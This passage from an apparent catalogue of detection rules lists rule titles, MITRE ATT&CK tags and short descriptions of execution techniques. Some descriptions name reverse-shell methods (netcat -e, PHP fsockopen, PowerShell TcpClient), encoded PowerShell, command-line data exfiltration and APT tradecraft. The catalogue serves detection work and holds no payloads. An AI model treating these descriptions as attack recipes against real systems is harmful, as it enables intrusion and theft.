Detects execution of AppleScript of the macOS scripting language AppleScript.

Read More
Malicious Base64 Encoded PowerShell Keywords in Command Lines

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects base64 encoded strings used in hidden malicious PowerShell command lines

Read More
Malicious Nishang PowerShell Commandlets

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects Commandlet names and arguments from the Nishang exploitation framework

Read More
Malicious PowerShell Commandlets - ScriptBlock

Aug 12, 2024 · attack.execution attack.discovery attack.t1482 attack.t1087 attack.t1087.001 attack.t1087.002 attack.t1069.001 attack.t1069.002 attack.t1069 attack.t1059.001 ·
Share on:

Detects Commandlet names from well-known PowerShell exploitation frameworks

Read More
Malicious PowerShell Keywords

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects keywords from well-known PowerShell exploitation frameworks

Read More
Malicious ShellIntel PowerShell Commandlets

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects Commandlet names from ShellIntel exploitation scripts.

Read More
MERCURY APT Activity

Aug 12, 2024 · attack.execution attack.t1059.001 attack.g0069 detection.emerging-threats ·
Share on:

Detects suspicious command line patterns seen being used by MERCURY APT

Read More
Metasploit Or Impacket Service Installation Via SMB PsExec

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 attack.t1570 attack.execution attack.t1569.002 ·
Share on:

Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation

Read More
Microsoft Excel Add-In Loaded From Uncommon Location

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

Detects Microsoft Excel loading an Add-In (.xll) file from an uncommon location

Read More
Microsoft Sync Center Suspicious Network Connections

Aug 12, 2024 · attack.t1055 attack.t1218 attack.execution attack.defense-evasion ·
Share on:

Detects suspicious connections from Microsoft Sync Center to non-private IPs.

Read More
Microsoft VBA For Outlook Addin Loaded Via Outlook

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

Detects outlvba (Microsoft VBA for Outlook Addin) DLL being loaded by the outlook process

Read More
Mint Sandstorm - AsperaFaspex Suspicious Process Execution

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects suspicious execution from AsperaFaspex as seen used by Mint Sandstorm

Read More
Mint Sandstorm - Log4J Wstomcat Process Execution

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects Log4J Wstomcat process execution as seen in Mint Sandstorm activity

Read More
Mint Sandstorm - ManageEngine Suspicious Process Execution

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects suspicious execution from ManageEngine as seen used by Mint Sandstorm

Read More
MITRE BZAR Indicators for Execution

Aug 12, 2024 · attack.execution attack.t1047 attack.t1053.002 attack.t1569.002 ·
Share on:

Windows DCE-RPC functions which indicate an execution techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE

Read More
MMC20 Lateral Movement

Aug 12, 2024 · attack.execution attack.t1021.003 ·
Share on:

Detects MMC20.Application Lateral Movement; specifically looks for the spawning of the parent MMC.exe with a command line of "-Embedding" as a child of svchost.exe

Read More
MSHTA Suspicious Execution 01

Aug 12, 2024 · attack.defense-evasion attack.t1140 attack.t1218.005 attack.execution attack.t1059.007 cve.2020-1599 ·
Share on:

Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism

Read More
Mshtml.DLL RunHTMLApplication Suspicious Usage

Aug 12, 2024 · attack.defense-evasion attack.execution ·
Share on:

Detects execution of commands that leverage the "mshtml.dll" RunHTMLApplication export to run arbitrary code via different protocol handlers (vbscript, javascript, file, http...)

Read More
MSI Installation From Suspicious Locations

Aug 12, 2024 · attack.execution ·
Share on:

Detects MSI package installation from suspicious locations

Read More
MSMQ Corrupted Packet Encountered

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects corrupted packets sent to the MSMQ service. Could potentially be a sign of CVE-2023-21554 exploitation

Read More
MSSQL XPCmdshell Option Change

Aug 12, 2024 · attack.execution ·
Share on:

Detects when the MSSQL "xp_cmdshell" stored procedure setting is changed.

Read More
MSSQL XPCmdshell Suspicious Execution

Aug 12, 2024 · attack.execution ·
Share on:

Detects when the MSSQL "xp_cmdshell" stored procedure is used to execute commands

Read More
Named Pipe Created Via Mkfifo

Aug 12, 2024 · attack.execution ·
Share on:

Detects the creation of a new named pipe using the "mkfifo" utility

Read More
Net WebClient Casing Anomalies

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects PowerShell command line contents that include a suspicious abnormal casing in the Net.Webclient (e.g. nEt.WEbCliEnT) string as used in obfuscation techniques

Read More
Network Connection Initiated By Eqnedt32.EXE

Aug 12, 2024 · attack.execution attack.t1203 ·
Share on:

Detects network connections from the Equation Editor process "eqnedt32.exe".

Read More
Network Connection Initiated By Regsvr32.EXE

Aug 12, 2024 · attack.execution attack.t1559.001 attack.defense-evasion attack.t1218.010 ·
Share on:

Detects a network connection initiated by "Regsvr32.exe"

Read More
Network Connection Initiated Via Notepad.EXE

Aug 12, 2024 · attack.command-and-control attack.execution attack.defense-evasion attack.t1055 ·
Share on:

Detects a network connection that is initiated by the "notepad.exe" process. This might be a sign of process injection from a beacon process or something similar. Notepad rarely initiates a network communication except when printing documents for example.

Read More
New Application in AppCompat

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

A General detection for a new application in AppCompat. This indicates an application executing for the first time on an endpoint.

Read More
New PowerShell Instance Created

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects the execution of PowerShell via the creation of a named pipe starting with PSHost

Read More
New Process Created Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 car.2016-03-002 ·
Share on:

Detects new process creation using WMIC via the "process call create" flag

Read More
New Virtual Smart Card Created Via TpmVscMgr.EXE

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of "Tpmvscmgr.exe" to create a new virtual smart card.

Read More
Nohup Execution

Aug 12, 2024 · attack.execution attack.t1059.004 ·
Share on:

Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments

Read More
Non Interactive PowerShell Process Spawned

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects non-interactive PowerShell activity by looking at the "powershell" process with a non-user GUI process such as "explorer.exe" as a parent.

Read More
NTFS Alternate Data Stream

Aug 12, 2024 · attack.defense-evasion attack.t1564.004 attack.execution attack.t1059.001 ·
Share on:

Detects writing data into NTFS alternate data streams from powershell. Needs Script Block Logging.

Read More
Office Application Initiated Network Connection To Non-Local IP

Aug 12, 2024 · attack.execution attack.t1203 ·
Share on:

Detects an office application (Word, Excel, PowerPoint) that initiate a network connection to a non-private IP addresses. This rule aims to detect traffic similar to one seen exploited in CVE-2021-42292. This rule will require an initial baseline and tuning that is specific to your organization.

Read More
OMIGOD HTTP No Authentication RCE

Aug 12, 2024 · attack.privilege-escalation attack.initial-access attack.execution attack.lateral-movement attack.t1068 attack.t1190 attack.t1203 attack.t1021.006 attack.t1210 ·
Share on:

Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request. Verify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP). Within the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.

Read More
OMIGOD SCX RunAsProvider ExecuteScript

Aug 12, 2024 · attack.privilege-escalation attack.initial-access attack.execution attack.t1068 attack.t1190 attack.t1203 ·
Share on:

Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.

Read More
OMIGOD SCX RunAsProvider ExecuteShellCommand

Aug 12, 2024 · attack.privilege-escalation attack.initial-access attack.execution attack.t1068 attack.t1190 attack.t1203 ·
Share on:

Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.

Read More
Operation Wocao Activity

Aug 12, 2024 · attack.discovery attack.t1012 attack.defense-evasion attack.t1036.004 attack.t1027 attack.execution attack.t1053.005 attack.t1059.001 detection.emerging-threats ·
Share on:

Detects activity mentioned in Operation Wocao report

Read More
Operation Wocao Activity - Security

Aug 12, 2024 · attack.discovery attack.t1012 attack.defense-evasion attack.t1036.004 attack.t1027 attack.execution attack.t1053.005 attack.t1059.001 detection.emerging-threats ·
Share on:

Detects activity mentioned in Operation Wocao report

Read More
Operator Bloopers Cobalt Strike Commands

Aug 12, 2024 · attack.execution attack.t1059.003 stp.1u ·
Share on:

Detects use of Cobalt Strike commands accidentally entered in the CMD shell

Read More
Operator Bloopers Cobalt Strike Modules

Aug 12, 2024 · attack.execution attack.t1059.003 ·
Share on:

Detects Cobalt Strike module/commands accidentally entered in CMD shell

Read More
Osacompile Execution By Potentially Suspicious Applet/Osascript

Aug 12, 2024 · attack.execution attack.t1059.002 ·
Share on:

Detects potential suspicious applet or osascript executing "osacompile".

Read More
OSACompile Run-Only Execution

Aug 12, 2024 · attack.t1059.002 attack.execution ·
Share on:

Detects potential suspicious run-only executions compiled using OSACompile

Read More
Outbound Network Connection To Public IP Via Winlogon

Aug 12, 2024 · attack.defense-evasion attack.execution attack.command-and-control attack.t1218.011 ·
Share on:

Detects a "winlogon.exe" process that initiate network communications with public IP addresses

Read More
PAExec Service Installation

Aug 12, 2024 · attack.execution attack.t1569.002 ·
Share on:

Detects PAExec service installation

Read More
PaperCut MF/NG Exploitation Related Indicators

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects exploitation indicators related to PaperCut MF/NG Exploitation

Read More
PaperCut MF/NG Potential Exploitation

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects suspicious child processes of "pc-app.exe". Which could indicate potential exploitation of PaperCut

Read More
Payload Decoded and Decrypted via Built-in Utilities

Aug 12, 2024 · attack.t1059 attack.t1204 attack.execution attack.t1140 attack.defense-evasion attack.s0482 attack.s0402 ·
Share on:

Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer.

Read More
PCRE.NET Package Image Load

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects processes loading modules related to PCRE.NET package

Read More
PCRE.NET Package Temp Files

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects processes creating temp files related to PCRE.NET package

Read More
PDQ Deploy Remote Adminstartion Tool Execution

Aug 12, 2024 · attack.execution attack.lateral-movement attack.t1072 ·
Share on:

Detect use of PDQ Deploy remote admin tool

Read More
Perl Inline Command Execution

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects execution of perl using the "-e"/"-E" flags. This is could be used as a way to launch a reverse shell or execute live perl code.

Read More
Php Inline Command Execution

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects execution of php using the "-r" flag. This is could be used as a way to launch a reverse shell or execute live php code.

Read More
Possible PrintNightmare Print Driver Install

Aug 12, 2024 · attack.execution cve.2021-1678 cve.2021-1675 cve.2021-34527 ·
Share on:

Detects the remote installation of a print driver which is possible indication of the exploitation of PrintNightmare (CVE-2021-1675). The occurrence of print drivers being installed remotely via RPC functions should be rare, as print drivers are normally installed locally and or through group policy.

Read More
Potential APT FIN7 POWERHOLD Execution

Aug 12, 2024 · attack.execution attack.t1059.001 attack.g0046 detection.emerging-threats ·
Share on:

Detects execution of the POWERHOLD script seen used by FIN7 as reported by WithSecureLabs

Read More
Potential APT FIN7 Reconnaissance/POWERTRASH Related Activity

Aug 12, 2024 · attack.execution attack.g0046 detection.emerging-threats ·
Share on:

Detects specific command line execution used by FIN7 as reported by WithSecureLabs for reconnaissance and POWERTRASH execution

Read More
Potential APT FIN7 Related PowerShell Script Created

Aug 12, 2024 · attack.execution attack.g0046 detection.emerging-threats ·
Share on:

Detects PowerShell script file creation with specific name or suffix which was seen being used often by FIN7 PowerShell scripts

Read More
Potential APT Mustang Panda Activity Against Australian Gov

Aug 12, 2024 · attack.execution attack.g0129 detection.emerging-threats ·
Share on:

Detects specific command line execution used by Mustang Panda in a targeted attack against the Australian government as reported by Lab52

Read More
Potential APT10 Cloud Hopper Activity

Aug 12, 2024 · attack.execution attack.g0045 attack.t1059.005 detection.emerging-threats ·
Share on:

Detects potential process and execution activity related to APT10 Cloud Hopper operation

Read More
Potential Arbitrary Command Execution Via FTP.EXE

Aug 12, 2024 · attack.execution attack.t1059 attack.defense-evasion attack.t1202 ·
Share on:

Detects execution of "ftp.exe" script with the "-s" or "/s" flag and any child processes ran by "ftp.exe".

Read More
Potential Arbitrary File Download Via Cmdl32.EXE

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1218 attack.t1202 ·
Share on:

Detects execution of Cmdl32 with the "/vpn" and "/lan" flags. Attackers can abuse this utility in order to download arbitrary files via a configuration file. Inspect the location and the content of the file passed as an argument in order to determine if it is suspicious.

Read More
Potential Atlassian Confluence CVE-2021-26084 Exploitation Attempt

Aug 12, 2024 · attack.initial-access attack.execution attack.t1190 attack.t1059 cve.2021-26084 detection.emerging-threats ·
Share on:

Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2021-26084

Read More
Potential Baby Shark Malware Activity

Aug 12, 2024 · attack.execution attack.defense-evasion attack.discovery attack.t1012 attack.t1059.003 attack.t1059.001 attack.t1218.005 detection.emerging-threats ·
Share on:

Detects activity that could be related to Baby Shark malware

Read More
Potential Binary Proxy Execution Via Cdb.EXE

Aug 12, 2024 · attack.execution attack.t1106 attack.defense-evasion attack.t1218 attack.t1127 ·
Share on:

Detects usage of "cdb.exe" to launch arbitrary processes or commands from a debugger script file

Read More
Potential Bumblebee Remote Thread Creation

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218.011 attack.t1059.001 detection.emerging-threats ·
Share on:

Detects remote thread injection events based on action seen used by bumblebee

Read More
Potential CobaltStrike Process Patterns

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects potential process patterns related to Cobalt Strike beacon activity

Read More
Potential CobaltStrike Service Installations - Registry

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.lateral-movement attack.t1021.002 attack.t1543.003 attack.t1569.002 ·
Share on:

Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement.

Read More
Potential CommandLine Path Traversal Via Cmd.EXE

Aug 12, 2024 · attack.execution attack.t1059.003 ·
Share on:

Detects potential path traversal attempt via cmd.exe. Could indicate possible command/argument confusion/hijacking

Read More
Potential Compromised 3CXDesktopApp Update Activity

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.execution detection.emerging-threats ·
Share on:

Detects the 3CXDesktopApp updater downloading a known compromised version of the 3CXDesktopApp software

Read More
Potential Cookies Session Hijacking

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of "curl.exe" with the "-c" flag in order to save cookie data.

Read More
Potential CVE-2021-26857 Exploitation Attempt

Aug 12, 2024 · attack.t1203 attack.execution cve.2021-26857 detection.emerging-threats ·
Share on:

Detects possible successful exploitation for vulnerability described in CVE-2021-26857 by looking for | abnormal subprocesses spawning by Exchange Server's Unified Messaging service

Read More
Potential CVE-2021-40444 Exploitation Attempt

Aug 12, 2024 · attack.execution attack.t1059 cve.2021-40444 detection.emerging-threats ·
Share on:

Detects potential exploitation of CVE-2021-40444 via suspicious process patterns seen in in-the-wild exploitations

Read More
Potential CVE-2022-26809 Exploitation Attempt

Aug 12, 2024 · attack.initial-access attack.t1190 attack.execution attack.t1569.002 cve.2022-26809 detection.emerging-threats ·
Share on:

Detects suspicious remote procedure call (RPC) service anomalies based on the spawned sub processes (long shot to detect the exploitation of vulnerabilities like CVE-2022-26809)

Read More
Potential CVE-2023-21554 QueueJumper Exploitation

Aug 12, 2024 · attack.privilege-escalation attack.execution cve.2023-21554 detection.emerging-threats ·
Share on:

Detects potential exploitation of CVE-2023-21554 (dubbed QueueJumper)

Read More
Potential CVE-2023-36874 Exploitation - Fake Wermgr Execution

Aug 12, 2024 · attack.execution cve.2023-36874 detection.emerging-threats ·
Share on:

Detects the execution of a renamed "cmd", "powershell" or "powershell_ise" binary. Attackers were seen using these binaries in a renamed form as "wermgr.exe" in exploitation of CVE-2023-36874

Read More
Potential CVE-2023-36874 Exploitation - Uncommon Report.Wer Location

Aug 12, 2024 · attack.execution cve.2023-36874 detection.emerging-threats ·
Share on:

Detects the creation of a "Report.wer" file in an uncommon folder structure. This could be a sign of potential exploitation of CVE-2023-36874.

Read More
Potential Data Exfiltration Activity Via CommandLine Tools

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects the use of various CLI utilities exfiltrating data via web requests

Read More
Potential DLL File Download Via PowerShell Invoke-WebRequest

Aug 12, 2024 · attack.command-and-control attack.execution attack.t1059.001 attack.t1105 ·
Share on:

Detects potential DLL files being downloaded using the PowerShell Invoke-WebRequest cmdlet

Read More
Potential Dosfuscation Activity

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects possible payload obfuscation via the commandline

Read More
Potential Emotet Activity

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1027 detection.emerging-threats ·
Share on:

Detects all Emotet like process executions that are not covered by the more generic rules

Read More
Potential Encoded PowerShell Patterns In CommandLine

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects specific combinations of encoding methods in PowerShell via the commandline

Read More
Potential Exploitation Attempt From Office Application

Aug 12, 2024 · attack.execution attack.defense-evasion cve.2021-40444 detection.emerging-threats ·
Share on:

Detects Office applications executing a child process that includes directory traversal patterns. This could be an attempt to exploit CVE-2022-30190 (MSDT RCE) or CVE-2021-40444 (MSHTML RCE)

Read More
Potential Exploitation of CVE-2024-37085 - Suspicious Creation Of ESX Admins Group

Aug 12, 2024 · attack.execution cve.2024-37085 detection.emerging-threats ·
Share on:

Detects execution of the "net.exe" command in order to add a group named "ESX Admins". This could indicates a potential exploitation attempt of CVE-2024-37085, which allows an attacker to elevate their privileges to full administrative access on an domain-joined ESXi hypervisor. VMware ESXi hypervisors joined to an Active Directory domain consider any member of a domain group named "ESX Admins" to have full administrative access by default.

Read More
Potential Exploitation of CVE-2024-37085 - Suspicious ESX Admins Group Activity

Aug 12, 2024 · attack.execution cve.2024-37085 detection.emerging-threats ·
Share on:

Detects any creation or modification to a windows domain group with the name "ESX Admins". This could indicates a potential exploitation attempt of CVE-2024-37085, which allows an attacker to elevate their privileges to full administrative access on an domain-joined ESXi hypervisor. VMware ESXi hypervisors joined to an Active Directory domain consider any member of a domain group named "ESX Admins" to have full administrative access by default.

Read More
Potential Goofy Guineapig Backdoor Activity

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects a specific broken command that was used by Goofy-Guineapig as described by the NCSC report.

Read More
Potential In-Memory Download And Compile Of Payloads

Aug 12, 2024 · attack.command-and-control attack.execution attack.t1059.007 attack.t1105 ·
Share on:

Detects potential in-memory downloading and compiling of applets using curl and osacompile as seen used by XCSSET malware

Read More
Potential Maze Ransomware Activity

Aug 12, 2024 · attack.execution attack.t1204.002 attack.t1047 attack.impact attack.t1490 detection.emerging-threats ·
Share on:

Detects specific process characteristics of Maze ransomware word document droppers

Read More
Potential MuddyWater APT Activity

Aug 12, 2024 · attack.defense-evasion attack.execution attack.g0069 detection.emerging-threats ·
Share on:

Detects potential Muddywater APT activity

Read More
Potential Netcat Reverse Shell Execution

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects execution of netcat with the "-e" flag followed by common shells. This could be a sign of a potential reverse shell setup.

Read More
Potential Perl Reverse Shell Execution

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of the perl binary with the "-e" flag and common strings related to potential reverse shell activity

Read More
Potential Persistence Via Powershell Search Order Hijacking - Task

Aug 12, 2024 · attack.execution attack.persistence attack.t1053.005 attack.t1059.001 ·
Share on:

Detects suspicious powershell execution via a schedule task where the command ends with an suspicious flags to hide the powershell instance instead of executeing scripts or commands. This could be a sign of persistence via PowerShell "Get-Variable" technique as seen being used in Colibri Loader

Read More
Potential Persistence Via VMwareToolBoxCmd.EXE VM State Change Script

Aug 12, 2024 · attack.execution attack.persistence attack.t1059 ·
Share on:

Detects execution of the "VMwareToolBoxCmd.exe" with the "script" and "set" flag to setup a specific script to run for a specific VM state

Read More
Potential PHP Reverse Shell

Aug 12, 2024 · attack.execution ·
Share on:

Detects usage of the PHP CLI with the "-r" flag which allows it to run inline PHP code. The rule looks for calls to the "fsockopen" function which allows the creation of sockets. Attackers often leverage this in combination with functions such as "exec" or "fopen" to initiate a reverse shell connection.

Read More
Potential PowerShell Command Line Obfuscation

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1027 attack.t1059.001 ·
Share on:

Detects the PowerShell command lines with special characters

Read More
Potential PowerShell Downgrade Attack

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1059.001 ·
Share on:

Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0

Read More
Potential PowerShell Obfuscation Using Alias Cmdlets

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1027 attack.t1059.001 ·
Share on:

Detects Set-Alias or New-Alias cmdlet usage. Which can be use as a mean to obfuscate PowerShell scripts

Read More
Potential PowerShell Obfuscation Using Character Join

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1027 attack.t1059.001 ·
Share on:

Detects specific techniques often seen used inside of PowerShell scripts to obfscuate Alias creation

Read More
Potential PowerShell Obfuscation Via Reversed Commands

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects the presence of reversed PowerShell commands in the CommandLine. This is often used as a method of obfuscation by attackers

Read More
Potential PowerShell Obfuscation Via WCHAR

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1027 ·
Share on:

Detects suspicious encoded character syntax often used for defense evasion

Read More
Potential Powershell ReverseShell Connection

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects usage of the "TcpClient" class. Which can be abused to establish remote connections and reverse-shells. As seen used by the Nishang "Invoke-PowerShellTcpOneLine" reverse shell and other.

Read More
Potential POWERTRASH Script Execution

Aug 12, 2024 · attack.execution attack.t1059.001 attack.g0046 detection.emerging-threats ·
Share on:

Detects potential execution of the PowerShell script POWERTRASH

Read More
Potential Product Reconnaissance Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects the execution of WMIC in order to get a list of firewall and antivirus products

Read More
Potential Qakbot Rundll32 Execution

Aug 12, 2024 · attack.defense-evasion attack.execution detection.emerging-threats ·
Share on:

Detects specific process tree behavior of a "rundll32" execution often linked with potential Qakbot activity.

Read More
Potential QBot Activity

Aug 12, 2024 · attack.execution attack.t1059.005 detection.emerging-threats ·
Share on:

Detects potential QBot activity by looking for process executions used previously by QBot

Read More
Potential Raspberry Robin Dot Ending File

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects commandline containing reference to files ending with a "." This scheme has been seen used by raspberry-robin

Read More
Potential Reconnaissance Activity Via GatherNetworkInfo.VBS

Aug 12, 2024 · attack.discovery attack.execution attack.t1615 attack.t1059.005 ·
Share on:

Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs". Which can be used to gather information about the target machine

Read More
Potential ReflectDebugger Content Execution Via WerFault.EXE

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1036 ·
Share on:

Detects execution of "WerFault.exe" with the "-pr" commandline flag that is used to run files stored in the ReflectDebugger key which could be used to store the path to the malware in order to masquerade the execution flow

Read More
Potential Remote PowerShell Session Initiated

Aug 12, 2024 · attack.execution attack.t1059.001 attack.lateral-movement attack.t1021.006 ·
Share on:

Detects a process that initiated a network connection over ports 5985 or 5986 from a non-network service account. This could potentially indicates a remote PowerShell connection.

Read More
Potential Renamed Rundll32 Execution

Aug 12, 2024 · attack.execution ·
Share on:

Detects when 'DllRegisterServer' is called in the commandline and the image is not rundll32. This could mean that the 'rundll32' utility has been renamed in order to avoid detection

Read More
Potential Ruby Reverse Shell

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of ruby with the "-e" flag and calls to "socket" related functions. This could be an indication of a potential attempt to setup a reverse shell

Read More
Potential ShellDispatch.DLL Functionality Abuse

Aug 12, 2024 · attack.execution attack.defense-evasion ·
Share on:

Detects potential "ShellDispatch.dll" functionality abuse to execute arbitrary binaries via "ShellExecute"

Read More
Potential SNAKE Malware Installation Binary Indicator

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects a specific binary name seen used by SNAKE malware during its installation as described by CISA in their report

Read More
Potential SNAKE Malware Installation CLI Arguments Indicator

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects a specific command line arguments sequence seen used by SNAKE malware during its installation as described by CISA in their report

Read More
Potential SNAKE Malware Persistence Service Execution

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects a specific child/parent process relationship indicative of a "WerFault" process running from the "WinSxS" as a service. This could be indicative of potential SNAKE malware activity as reported by CISA.

Read More
Potential Snatch Ransomware Activity

Aug 12, 2024 · attack.execution attack.t1204 detection.emerging-threats ·
Share on:

Detects specific process characteristics of Snatch ransomware word document droppers

Read More
Potential Suspicious Child Process Of 3CXDesktopApp

Aug 12, 2024 · attack.command-and-control attack.execution attack.t1218 detection.emerging-threats ·
Share on:

Detects potential suspicious child processes of "3CXDesktopApp.exe". Which could be related to the 3CXDesktopApp supply chain compromise

Read More
Potential Suspicious PowerShell Keywords

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects potentially suspicious keywords that could indicate the use of a PowerShell exploitation framework

Read More
Potential Unquoted Service Path Reconnaissance Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects known WMI recon method to look for unquoted service paths using wmic. Often used by pentester and attacker enumeration scripts

Read More
Potential Ursnif Malware Activity - Registry

Aug 12, 2024 · attack.execution attack.t1112 detection.emerging-threats ·
Share on:

Detects registry keys related to Ursnif malware.

Read More
Potential WinAPI Calls Via PowerShell Scripts

Aug 12, 2024 · attack.execution attack.t1059.001 attack.t1106 ·
Share on:

Detects use of WinAPI functions in PowerShell scripts

Read More
Potential WMI Lateral Movement WmiPrvSE Spawned PowerShell

Aug 12, 2024 · attack.execution attack.t1047 attack.t1059.001 ·
Share on:

Detects Powershell as a child of the WmiPrvSE process. Which could be a sign of lateral movement via WMI.

Read More
Potential Xterm Reverse Shell

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects usage of "xterm" as a potential reverse shell tunnel

Read More
Potentially Suspicious Child Process Of ClickOnce Application

Aug 12, 2024 · attack.execution attack.defense-evasion ·
Share on:

Detects potentially suspicious child processes of a ClickOnce deployment application

Read More
Potentially Suspicious Child Process Of WinRAR.EXE

Aug 12, 2024 · attack.execution attack.t1203 ·
Share on:

Detects potentially suspicious child processes of WinRAR.exe.

Read More
Potentially Suspicious Execution From Parent Process In Public Folder

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1564 attack.t1059 ·
Share on:

Detects a potentially suspicious execution of a parent process located in the "\Users\Public" folder executing a child process containing references to shell or scripting binaries and commandlines.

Read More
Potentially Suspicious Execution Of PDQDeployRunner

Aug 12, 2024 · attack.execution ·
Share on:

Detects suspicious execution of "PDQDeployRunner" which is part of the PDQDeploy service stack that is responsible for executing commands and packages on a remote machines

Read More
Potentially Suspicious Named Pipe Created Via Mkfifo

Aug 12, 2024 · attack.execution ·
Share on:

Detects the creation of a new named pipe using the "mkfifo" utility in a potentially suspicious location

Read More
Potentially Suspicious WebDAV LNK Execution

Aug 12, 2024 · attack.execution attack.t1059.001 attack.t1204 ·
Share on:

Detects possible execution via LNK file accessed on a WebDAV server.

Read More
PowerShell ADRecon Execution

Aug 12, 2024 · attack.discovery attack.execution attack.t1059.001 ·
Share on:

Detects execution of ADRecon.ps1 for AD reconnaissance which has been reported to be actively used by FIN7

Read More
PowerShell as a Service in Registry

Aug 12, 2024 · attack.execution attack.t1569.002 ·
Share on:

Detects that a powershell code is written to the registry as a service.

Read More
PowerShell Base64 Encoded FromBase64String Cmdlet

Aug 12, 2024 · attack.defense-evasion attack.t1140 attack.execution attack.t1059.001 ·
Share on:

Detects usage of a base64 encoded "FromBase64String" cmdlet in a process command line

Read More
PowerShell Base64 Encoded IEX Cmdlet

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects usage of a base64 encoded "IEX" cmdlet in a process command line

Read More
PowerShell Base64 Encoded Invoke Keyword

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1027 ·
Share on:

Detects UTF-8 and UTF-16 Base64 encoded powershell 'Invoke-' calls

Read More
PowerShell Base64 Encoded Reflective Assembly Load

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1027 attack.t1620 ·
Share on:

Detects base64 encoded .NET reflective loading of Assembly

Read More
PowerShell Base64 Encoded WMI Classes

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1027 ·
Share on:

Detects calls to base64 encoded WMI class such as "Win32_ShadowCopy", "Win32_ScheduledJob", etc.

Read More
